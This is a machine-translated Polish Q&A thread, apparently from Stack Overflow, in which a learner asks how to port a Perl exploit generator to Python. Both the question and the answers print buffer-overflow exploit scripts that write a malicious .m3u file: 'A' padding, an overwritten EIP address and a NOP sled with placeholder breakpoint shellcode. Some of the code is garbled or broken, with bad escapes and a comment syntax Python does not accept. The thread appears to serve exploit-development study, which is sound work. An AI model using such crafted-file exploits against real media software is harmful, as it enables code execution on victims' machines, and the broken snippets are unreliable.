2011-06-17 29 views
8

Ostatnio pracowałem nad rozwojem exploita, aby przygotować się na kurs szkoleniowy. Wystąpił problem z samouczkiem. Śledziłam wszystkie tutoriale, które mogę znaleźć, używając Pythona w przeciwieństwie do języka, z którego korzystały samouczki, z nielicznych. Próbuję przekodować wszystko, ale nie mogę wymyślić, jak przekodować kod funkcji Pack() Perla.Funkcja pakietu Perla ("V") w języku Python?

TL; DR: Próbuję tłumaczyć to pyton:

my $file= "test1.m3u"; 
my $junk= "A" x 26094; 
my $eip = pack('V',0x000ff730); 

my $shellcode = "\x90" x 25; 

$shellcode = $shellcode."\xcc"; 
$shellcode = $shellcode."\x90" x 25; 

open($FILE,">$file"); 
print $FILE $junk.$eip.$shellcode; 
close($FILE)print "m3u File Created successfully\n"; 

Znalazłem struct.pack funkcji Pythona(), ale gdy używam

Fuzzed.write(struct.pack('V', 0x773D10A4)) 

, zatrzymuje program i nie działa. Co ja robię źle?

To jest mój cały kod źródłowy

import struct 

Fuzzed = open('C:\Documents and Settings\Owner\Desktop\Fuzzed.m3u','w') 
Fuzzed.write('A' * 26072) 
string = str(struct.pack('V',0x773D10A4)) 
Fuzzed.write(string) 
Fuzzed.write('C' * 3000) 
+0

Skąd wziął się "V" jako postać formatu? Jaki typ ma reprezentować? Użyj 'I' dla' unsigned int' (4 bajty). –

Odpowiedz

11

Spróbuj użyć szablonu "L<" opakowanie zamiast "V". To powinno działać zarówno w Perlu jak i Pythonie. N i V to starsza metoda określania endianiczności w języku Perl, a nowsze metody to < i >. Wygląda na to, że kiedy Python pożyczył pack z Perla, potrzebował tylko nowszego, bardziej elastycznego interfejsu.

Edit: Python chce <przed specyfikacja typu, podczas gdy Perl chce mu po. Nie dość więc zgodny :(

8

Pythona struct.pack wykorzystuje pierwszy znak dla endianess/size variation, a następnie jeden lub więcej dla data type. Perl Vmeans 32bit unsigned int/little-endian.

Python analogowe struct.pack('<I', 0x773D10A4).

+0

Dzięki, że działało idealnie. – Schinza

1

to jest dokładnie to, co chcesz. jak o szkoleniu?

import struct

file = 'crash.m3u' junk = b'\x41' * 26091 eip = struct.pack('<I', 0x1d5f23a) preshellcode = b'\xcc' * 4 shellcode = b'\x90' * 25 + b'\xcc' fp = open(file, 'wb') fp.write(junk + eip + preshellcode + shellcode) fp.close() import binascii print binascii.hexlify(open(file, 'rb').read()) print 'm3u file is ready'
2

już przetłumaczyłem na Pythona i już próbowałem na konwerter MP3. Oto odpowiedź:

import sys 
file = "8.m3u" 
junk = "A"*26042 
eip = "\X3A\XF2\XB5\X01" //0x01B5F23A 
shellcode =" " 
shellcode += "\x90"*25 
shellcode += "xcc" 
shellcode += "\x90"*25 
tmp = junk + eip + shellcode 
D = open(file, 'w') 
D.write(tmp) 
D.close() 
print "m3u File Created successfully\n"